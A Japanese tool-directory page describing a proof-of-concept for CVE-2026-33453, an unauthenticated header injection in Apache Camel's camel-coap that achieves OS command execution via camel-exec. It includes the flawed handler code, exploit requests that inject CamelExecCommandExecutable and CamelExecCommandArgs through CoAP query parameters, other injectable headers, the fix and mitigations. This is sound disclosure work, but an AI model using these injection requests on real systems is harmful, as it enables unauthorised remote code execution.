Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-33453 — CVE-2026-33453 の再現コード: camel-exec を介した Apache Camel camel-coap ヘッダーインジェクションによる RCE | Kitploit
ツール/GitHubGitHub/oscerd/cve-2026-33453
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ペイロード開発
GitHuboscerd/cve-2026-33453

CVE-2026-33453

CVE-2026-33453 の再現コード: camel-exec を介した Apache Camel camel-coap ヘッダーインジェクションによる RCE

リポジトリを見る
32ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

camel-coap ヘッダーインジェクション → RCE 脆弱性再現ツール (CVE-2026-33453)

このプロジェクトは、Apache Camel の camel-coap コンポーネントにおける Camel メッセージヘッダーインジェクション の脆弱性(CVE-2026-33453 として追跡)を実証します。認証されていない攻撃者が単一の CoAP UDP パケットを送信すると、Exchange に任意の Camel* 制御ヘッダーを注入でき、ルートが camel-exec などのヘッダーに敏感なプロデューサーに転送する場合に リモートコード実行 を達成できます。

アドバイザリ: https://camel.apache.org/security/CVE-2026-33453.html

脆弱性の概要

プロパティ値
コンポーネントcamel-coap
影響を受けるクラスorg.apache.camel.coap.CamelCoapResource (handleRequest)
根本原因HeaderFilterStrategy なしで CoAP URI クエリパラメーターが Exchange ヘッダーにコピーされる
CWECWE-915: 動的に決定されるオブジェクト属性の不適切に制御された変更
影響リモートコード実行(camel-exec など、ヘッダーに敏感なプロデューサー経由)
攻撃対象領域認証なしの単一 CoAP UDP データグラム(デフォルトポート 5683)
影響を受けるバージョン4.14.0 以降 4.14.6 未満、および 4.15.0 以降 4.18.1 未満
修正済みバージョン4.14.6、4.18.1、4.19.0
JIRACAMEL-23222
報告者Hyunwoo Kim (@v4bel)

技術的詳細

影響を受けるバージョンでは、CamelCoapResource.handleRequest() が CoAP リクエストの URI クエリオプションを反復処理し、各オプションを HeaderFilterStrategy を一切適用せずに Camel Exchange In ヘッダーにコピーします:

root@kitploit:~
// CamelCoapResource.handleRequest() - affected version
OptionSet options = exchange.getRequest().getOptions();
for (String s : options.getUriQuery()) {
    int i = s.indexOf('=');
    String name  = (i == -1) ? s : s.substring(0, i);
    String value = (i == -1) ? "" : s.substring(i + 1);
    camelExchange.getIn().setHeader(name, value);   // NO HeaderFilterStrategy!
}

CoAPEndpoint は DefaultEndpoint を拡張しており(DefaultHeaderFilterStrategyEndpoint ではありません)、CoAPComponent は HeaderFilterStrategyComponent を実装していないため、フィルターはまったく存在しません。したがって、攻撃者は CoAP リクエスト URI にクエリパラメーターを追加するだけで、Camel 内部の Camel* 制御ヘッダーを含む任意のヘッダーを設定できます。

ルートがメッセージをヘッダーに敏感なプロデューサーに配信すると、これらのヘッダーによってその動作が変更されます。camel-exec の場合、CamelExecCommandExecutable ヘッダーと CamelExecCommandArgs ヘッダーがエンドポイントに設定された実行ファイルと引数を上書きし(影響を受けるバージョンではデフォルトで優先されます)、任意の OS コマンド実行を引き起こします。コマンドの標準出力は Exchange ボディに書き戻され、CoAP レスポンスで返されるため、対話型の RCE チャネルとなります。

被害ルート

root@kitploit:~
from("coap://0.0.0.0:5683/run")
    .to("exec:echo?args=hello")     // fixed, harmless command
    .convertBodyTo(String.class);   // return stdout in the CoAP response

良性のリクエストは echo hello を実行します。攻撃者は注入されたヘッダーを介してコマンドを上書きします。

前提条件

  • Java 17+
  • Maven 3.8+

CoAP は UDP ベース(RFC 7252)で、組み込みの認証はありません(DTLS はオプションであり、デフォルトでは無効です)。そのため、外部サービスや Docker コンテナは不要です。再現アプリは、脆弱な CoAP サーバーであると同時に、バンドルされた攻撃者クライアントでもあります(libcoap の coap-client などの raw クライアントでも動作します)。

再現手順

ステップ 1: ビルドと起動

root@kitploit:~
mvn clean package -DskipTests
mvn spring-boot:run

アプリは、脆弱なルートを coap://0.0.0.0:5683/run で起動し、補助 REST コントローラーをポート 8080 で起動します。

ステップ 2: 良性リクエスト(健全性チェック)

root@kitploit:~
curl http://localhost:8080/exploit/normal
# -> CoAP response: hello

ステップ 3: 攻撃 — CoAP URI クエリを介して exec 上書きヘッダーを注入

root@kitploit:~
# Default benign proof: touch /tmp/pwned
curl "http://localhost:8080/exploit/attack"

# Choose a different executable/args:
curl "http://localhost:8080/exploit/attack?exe=/usr/bin/touch&args=/tmp/owned-by-coap"

内部では、バンドルされた CoAP クライアントが単一のデータグラムを送信します:

root@kitploit:~
coap://localhost:5683/run?CamelExecCommandExecutable=/usr/bin/touch&CamelExecCommandArgs=/tmp/pwned

代わりに raw CoAP クライアントを使用する場合:

root@kitploit:~
coap-client -m get "coap://localhost:5683/run?CamelExecCommandExecutable=/usr/bin/touch&CamelExecCommandArgs=/tmp/pwned"

ステップ 4: 確認

root@kitploit:~
ls -la /tmp/pwned

/tmp/pwned が存在する場合、注入されたヘッダーが exec コマンドを上書きしたことになり、RCE が成立します。

攻撃ベクトル

このインジェクションには、下流にヘッダーに敏感なプロデューサーが存在するだけで十分です。アドバイザリには、とりわけ以下が挙げられています:

  • camel-exec — CamelExecCommandExecutable / CamelExecCommandArgs → OS コマンド実行
  • camel-file — CamelFileName → 任意のファイル書き込み / パストラバーサル
  • camel-sql — クエリ制御ヘッダー
  • camel-bean — CamelBeanMethodName → 別のメソッドの呼び出し
  • テンプレートコンポーネント (freemarker/velocity) — リソース選択ヘッダー

悪用条件

  1. coap://... からメッセージを消費する Camel ルート。
  2. ルートがヘッダーに敏感なプロデューサーに転送する(またはその影響を受ける)。
  3. CoAP コンシューマーとそのプロデューサーの間に removeHeaders("Camel*") がない。

認証は不要で、ポート 5683 への単一の UDP データグラムで十分です。

推奨される修正

修正(CAMEL-23222)により、CoAPEndpoint が HeaderFilterStrategy を保持し、handleRequest() でヘッダーを設定する前にそれを適用するようになります。これにより、Camel* プレフィックス付きの名前は、他のすべてのトランスポートと同様に CoAP 境界でフィルタリングされます:

root@kitploit:~
HeaderFilterStrategy strategy = consumer.getCoapEndpoint().getHeaderFilterStrategy();
...
if (strategy == null || !strategy.applyFilterToExternalHeaders(name, value, camelExchange)) {
    camelExchange.getIn().setHeader(name, value);
}

緩和策

アップグレードするまで:

  1. CoAP 由来のメッセージから Camel ヘッダーを除去する: from("coap:...") の直後に .removeHeaders("Camel*") を追加します。
  2. 信頼できない CoAP 入力の下流で ヘッダーに敏感なプロデューサーを避けるか、ヘッダーが上書きできないように設定を固定します。
  3. クライアント認証付きで DTLS を有効にする(coaps://)ことにより、エンドポイントに到達できる相手を制限します。
  4. ネットワークセグメンテーション: CoAP ポートを信頼できるネットワーク上に配置します。

ファイル

root@kitploit:~
CVE-2026-33453/
├── pom.xml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java          # Spring Boot entry point
    │   ├── CoapExecRoute.java        # the vulnerable victim route (coap -> exec)
    │   └── ExploitController.java    # bundled CoAP attacker client (/exploit/normal, /exploit/attack)
    └── resources/
        └── application.properties

免責事項

この再現ツールは、公開され修正済みの脆弱性に対するセキュリティ研究および許可されたテストのみを目的として提供されます。明示的な許可なくシステムに対して使用しないでください。

ツールをダウンロード